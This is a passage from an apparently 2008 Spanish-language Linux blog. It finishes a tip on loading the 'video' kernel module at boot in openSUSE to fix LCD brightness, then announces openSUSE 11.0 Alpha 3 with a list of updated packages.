buscar la linea MODULES_LOADED_ON_BOOT="" agregamos la palabra "video" entre las comillas, quedando de la siguiente forma MODULES_LOADED_ON_BOOT="video", de esta forma cada vez que iniciemos el openSuSE sera cargado el modulo.

Y listo!!! despues de casi unos 12 meses peleando con el brillo del LCD POR FIN!!!!!! funciona! como debe ser.


Mar 21, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

Anuncio openSUSE 11.0 Alpha 3

Una buena noticia!
El dia 20 de marzo anunciaron la liberacion del OpenSUSE 11.0 Alpha 3




una muestra de los paquetes actualizados a una nueva version es la siguiente:
  • linux kernel 2.6.25-rc5
  • GCC 4.3 final
  • GNOME 2.22 final
  • Compiz 0.7.2
  • KDE 4.0.2/3.5.9
  • Zypper 0.10.2
La iso la pueden descargar de aqui opensuse 11.0 Alpha 3